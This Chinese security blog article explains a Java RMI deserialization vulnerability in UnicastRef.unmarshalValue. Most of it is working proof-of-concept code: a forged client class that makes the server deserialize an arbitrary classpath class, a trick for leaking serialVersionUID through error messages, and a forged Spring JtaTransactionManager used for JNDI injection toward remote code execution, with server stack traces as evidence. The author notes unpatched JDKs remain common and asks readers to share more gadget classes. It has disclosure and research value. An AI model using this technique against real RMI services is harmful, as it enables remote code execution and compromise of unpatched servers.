*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
*本文原创作者:jfeiyi,本文属FreeBuf原创奖励计划,未经许可禁止转载
本打算慢慢写出来的,但前几天发现国外有研究员发了一篇关于这个CVE的文章,他和我找到的地方很相似。然而不知道是不是Oracle认为是同一个漏洞然后合并了CVE,还是说我找错了CVE。总之,先简单描述一下漏洞:对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。听起来可能有点绕,请往下看。
就直接上问题代码了。在Java RMI的sun.rmi.server.UnicastRef类中,有如下一段代码:300 protected static Object More ...unmarshalValue(Class> type, ObjectInput in)
301 throws IOException, ClassNotFoundException
302 {
303 if (type.isPrimitive()) {
304 if (type == int.class) {
305 return Integer.valueOf(in.readInt());
306 } else if (type == boolean.class) {
307 return Boolean.valueOf(in.readBoolean());
308 } else if (type == byte.class) {
309 return Byte.valueOf(in.readByte());
310 } else if (type == char.class) {
311 return Character.valueOf(in.readChar());
312 } else if (type == short.class) {
313 return Short.valueOf(in.readShort());
314 } else if (type == long.class) {
315 return Long.valueOf(in.readLong());
316 } else if (type == float.class) {
317 return Float.valueOf(in.readFloat());
318 } else if (type == double.class) {
319 return Double.valueOf(in.readDouble());
320 } else {
321 throw new Error("Unrecognized primitive type: " + type);
322 }
323 } else {
324 return in.readObject();
325 }
326 }
看324行,如果你熟悉java反序列化漏洞,看到此你应该就可以激动了。该代码直接调用readObject,且在原生Java类里。结合2016 black hat上那个spring-tx.jar或者之前apache common中的类,都可以实现远程代码执行。spring-tx里的那个我实验成功了,且Spring rmi中继承了这个漏洞。但Spring team表示不修,和他们没关系。。。
其实写到这,很多技术大牛已经可以自己找出怎么黑了。下面只是简单写写我如何通过正常Java RMI程序来攻击的,因为我觉得这招还是比较淫荡的。
以下是一个正常的服务器端接口,接口参数为Message对象,Message对象是要被序列化的对象:public interface Services extends java.rmi.Remote
{
String sendMessage(Message msg) throws RemoteException;
}
public class Message implements Serializable {
private String msg;
public Message()
{
}
public String getMessage() {
System.out.println("Processing message: "+msg);
return msg;
}
public void setMessage(String msg) {
this.msg = msg;
}
/*
* server will tell the serialVersionUID for first run, then just put it below
*/
private final static long serialVersionUID = 1311618551071721443L;
}
服务器端程序,sendMessage接口实现只是调用getMessage打印字符串:public class RMIServer
implements Services {
public RMIServer() throws RemoteException {
}
public static void main(String args[]) throws Exception {
System.out.println("RMI server started");
RMIServer obj = new RMIServer();
try {
Services stub = (Services) UnicastRemoteObject.exportObject(obj,0);
Registry reg;
try {
reg = LocateRegistry.createRegistry(1099);
System.out.println("java RMI registry created.");
} catch(Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
reg.rebind("RMIServer", stub);
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
public String sendMessage(Message msg) throws RemoteException {
return msg.getMessage();
}
}
假设服务器端类路径里还存在一个PublicKnown类,比如spring或者apache common包里的某个类:)。这种类大部分情况下会被开发人员会一起打包进项目,但从来不用:package org.xfei.thirdparty;
public class PublicKnown implements Serializable {
private void readObject(java.io.ObjectInputStream stream)
throws ClassNotFoundException, IOException {
stream.defaultReadObject();
System.out.println("Server object initializing.....");
}
}
如上,该类自己实现了一个readObject方法,用来做XXX事情。。。
以下是正常的客户端代码:public class RMIClient {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1");
Services obj = (Services) registry.lookup("RMIServer");
Message normal = new Message();
normal.setMessage("Hello");
System.out.println(obj.sendMessage(normal));
}
}
输出我就不放了,就是打印个Hello。
好了,如何攻击呢?
首先在客户端程序里当然要有Message类,而Message类基本应该是公开已知的。然后,虽然Spring tx和Apache common都是开源的,但我们先假设攻击者不知道源代码,但知道PublicKnown的类名和包名,于是他在客户端里构建如下的一个类:package org.xfei.thirdparty;
import java.io.IOException;
import java.io.Serializable;
import org.xfei.pojo.Message;
public class PublicKnown extends Message implements Serializable{
private final static long serialVersionUID = 7179259861090880402L;
}
重点是包名,类名必须一致,且继承Message,serialVersionUID可以先不知道,之后能找出来。
然后改一改客户端程序:import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.xfei.pojo.Message;
import org.xfei.thirdparty.PublicKnown;
public class RMIClient {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1");
Services obj = (Services) registry.lookup("RMIServer");
PublicKnown malicious = new PublicKnown();
malicious.setMessage("haha");
System.out.println(obj.sendMessage(malicious));
}
}
服务器端端的输出如下(直接从报告里拷贝过来的截图):
也就是说,服务器端在接收到客户端发送的对象后会按PublicKnown类来反序列化,然后调用PublicKnown的readObject方法。
至此,如何配合Spring-tx.jar里的那个JtaTransactionManager类实现远程代码执行我想大家也知道了。把JtaTransactionManager源代码抄一份,让其继承Message类或者实现Message实现了的接口(如果有)就行。两种我都试验过可行。哦,对了,在JtaTransactionManager中你还需要控制userTransactionName变量的值,直接写在客户端代码里就行了,神奇的服务器端会用客户端提供的变量值和服务器端定义的readObject去执行。
还剩最后一个问题,serialVersionUID怎么得到?在我实验的时候,第一次发PublicKnown类过去的时候不要包含这个变量,服务器端会返回一个错误信息给你,错误信息里会带有这个值。。。。。。
且根据不同的错误信息,你还可以知道你的目标类是否存在于服务器的类路径里。
虽然Oracle已经发了补丁,但我打赌很多地方是不会升级JDK的。。。。
要是有类似于JtaTransactionManager这种可以配合使用的类,还请大家共享一下呀!
例子1:原理上面说了,补一张项目截图:
忽略里面和spring相关的包,那些是为了下面的例子在做准备。这个例子中的代码都是拷贝上面我贴的。你还可以在服务器端的PublicKnown中加个本地变量,并在readObject方法中输出,然后在客户端的PublicKnown中加个同样的变量,赋值,传到服务器端,你会看到变量值会在服务器端被输出出来。
上面也提到不知道服务器端的serialVersionUID,但服务器端会在出现任何异常的情况下把异常信息返回到客户端,如下:
例子2:利用JtaTransactionManager进行JNDI注入的例子:
返回到客户端的部分异常信息(我懒,没有挂个对象在8080端口):Exception in thread "main" org.springframework.transaction.TransactionSystemException: JTA UserTransaction is not available at JNDI location [rmi://127.0.0.1:8080/object]; nested exception is javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:
java.net.ConnectException: Connection refused: connect]
at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:574)
at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448)
at org.springframework.transaction.jta.JtaTransactionManager.readObject(JtaTransactionManager.java:1206)
..................................
at org.xfei.client.RMIClient.main(RMIClient.java:19)
Caused by: javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:
java.net.ConnectException: Connection refused: connect]
at com.sun.jndi.rmi.registry.RegistryContext.lookup(Unknown Source)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(Unknown Source)
at javax.naming.InitialContext.lookup(Unknown Source)
at org.springframework.jndi.JndiTemplate$1.doInContext(JndiTemplate.java:155)
at org.springframework.jndi.JndiTemplate.execute(JndiTemplate.java:87)
at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:152)
at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:179)
at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:571)
at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448)
.................................................................
Caused by: java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:
java.net.ConnectException: Connection refused: connect
at sun.rmi.transport.tcp.TCPEndpoint.newSocket(Unknown Source)
at sun.rmi.transport.tcp.TCPChannel.createConnection(Unknown Source)
at sun.rmi.transport.tcp.TCPChannel.newConnection(Unknown Source)
at sun.rmi.server.UnicastRef.newCall(Unknown Source)
at sun.rmi.registry.RegistryImpl_Stub.lookup(Unknown Source)
... 31 more
Caused by: java.net.ConnectException: Connection refused: connect
at java.net.DualStackPlainSocketImpl.connect0(Native Method)
at java.net.DualStackPlainSocketImpl.socketConnect(Unknown Source)
at java.net.AbstractPlainSocketImpl.doConnect(Unknown Source)
at java.net.AbstractPlainSocketImpl.connectToAddress(Unknown Source)
at java.net.AbstractPlainSocketImpl.connect(Unknown Source)
at java.net.PlainSocketImpl.connect(Unknown Source)
at java.net.SocksSocketImpl.connect(Unknown Source)
at java.net.Socket.connect(Unknown Source)
at java.net.Socket.connect(Unknown Source)
at java.net.Socket.(Unknown Source)
at java.net.Socket.(Unknown Source)
at sun.rmi.transport.proxy.RMIDirectSocketFactory.createSocket(Unknown Source)
at sun.rmi.transport.proxy.RMIMasterSocketFactory.createSocket(Unknown Source)
... 36 more
客户端的JtaTransactionManager代码如下:package org.springframework.transaction.jta;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.List;
import java.util.Properties;
import javax.naming.NamingException;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.xfei.pojo.Message;
@SuppressWarnings("serial")
public class JtaTransactionManager extends Message
implements Serializable {
public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";
public final static long serialVersionUID = 4720255569299536580L;
private String userTransactionName;
public void setUserTransactionName(String userTransactionName) {
this.userTransactionName = userTransactionName;
}
}
Message有稍做修改:package org.xfei.pojo;
import java.io.Serializable;
import org.springframework.transaction.TransactionDefinition;
import org.springframework.transaction.support.AbstractPlatformTransactionManager;
import org.springframework.transaction.support.DefaultTransactionStatus;
public class Message extends AbstractPlatformTransactionManager implements Serializable {
private String msg;
public Message()
{
}
public String getMessage() {
System.out.println("Processing message: "+msg);
return msg;
}
public void setMessage(String msg) {
this.msg = msg;
}
/*
* server will tell the serialVersionUID for first run, then just put it below
*/
private final static long serialVersionUID = 1311618551071721443L;
@Override
protected void doBegin(Object arg0, TransactionDefinition arg1)
{
// TODO Auto-generated method stub
}
@Override
protected void doCommit(DefaultTransactionStatus arg0)
{
// TODO Auto-generated method stub
}
@Override
protected Object doGetTransaction() {
// TODO Auto-generated method stub
return null;
}
@Override
protected void doRollback(DefaultTransactionStatus arg0)
{
// TODO Auto-generated method stub
}
}
我以前的例子是在Spring RMI中测试的,做起来比这个顺利多了。这次是单独建Java项目测试。。。。
需要主意以下几点:1,当你把假的JtaTransactionManager对象发到服务器端的时候,服务器端其实也要各种初始化,所以会依赖到各种Spring的包,还有一个Apapche common的logger以及jta包。所以服务器端不是单有个Spring-tx.jar就能成功攻击的,但Spring项目里这几个依赖包出现的几率比spring-tx.jar高得多。
2,客户端编译的时候似乎也依赖几个类,我直接把所有spring jar包都放进去了。
3,看到截图,有的小伙伴可能会质疑这个是客户端编译的错误。其实我刚运行出来的时候也这么质疑的。。。但这其实是服务器端发过来的异常信息。
首先,initUserTransactionAndTransactionManager是被调用了的.。这个方法只会是在readObject中被调用,客户端哪里有调用readObject?
其次,客户端JtaTransactionManager代码我是改过的,根本没有相关代码。
最后,客户端jar包里的JtaTransactionManager类我已经删了:
*本文原创作者:jfeiyi,本文属FreeBuf原创奖励计划,未经许可禁止转载